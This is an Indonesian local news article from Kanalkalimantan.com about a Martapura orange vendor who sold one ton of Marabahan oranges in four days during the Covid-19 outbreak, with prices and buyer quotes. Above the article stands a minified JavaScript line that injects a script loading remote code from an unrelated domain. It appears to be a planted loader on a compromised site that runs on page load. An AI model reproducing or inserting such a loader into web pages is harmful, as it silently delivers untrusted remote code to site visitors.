(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Categories: Kabupaten Banjar

Manisnya Jeruk Lokal, Lidya Bisa Jual 1 Ton dalam Empat Hari

KANALKALIMANTAN.COM, MARTAPURA – Jeruk merupakan buah yang banyak di sukai banyak orang, terlebih lagi dalam kandungan jeruk itu terdapat vitamin C tinggi. Asupan vitamin C di tengah wabah Covid-19 menjadi berkah tersendiri bagi pedagang jeruk yang mengalami kenaikan omset.

Seperti yang diketahui vitamin c sangat bagus untuk imun tubuh, untuk menjaga tubuh terhindar dari virus.

Kebetulan saat ini sedang memasuki musim buah jeruk di Martapura dan sekitarnya. Pasokan jeruk berasal dari beberapa daerah kecamatan seperti Sungai Tabuk dan Astambul serta daerah Marabahan, Kabupaten Barito Kuala.

Seperti buah jeruk dari Marabahan dinilai mempunyai rasa yang cukup manis, dan bentuk nya yang cukup besar.

Penjual jeruk lokal di jalan Sukaramai, Martapura. foto: wahyu

Lidya, seorang perempuan pedagang jeruk di jalan Sukaramai, kawasan alun-alun Martapura, buah jeruk yang dia jual berasal dari Marabahan, bentuknya besar dan punya rasa yang manis. Lidya mengaku menjula 1 kilogram jeruk dengan harga Rp 8.000.

“Saya berjualan jeruk dari pagi hingga malam hari, kalau cuacanya sedang panas makan semakin banyak orang membelinya,” aku Lidya (24) kepada Kanalkalimantan.com, Selasa (7/7/2020) sekitar pukul 12:00 Wita.

“Tergantung cuaca, pernah waktu itu sedang panas, 1 ton jeruk habis terjual dalam kurung waktu empat hari,” kata Lidya.

Salah satu pembeli buah jeruk, Agus mengatakan, untuk harga 1 kilogram seharga Rp 8000 itu cukup murah. “Ada juga yang lebih murah 1 kilogram Rp 5000, tapi ukurannya kecil tidak besar,” ujarnya. (kanalkalimantan.com/wahyu)

Reporter : wahyu
Editor : bie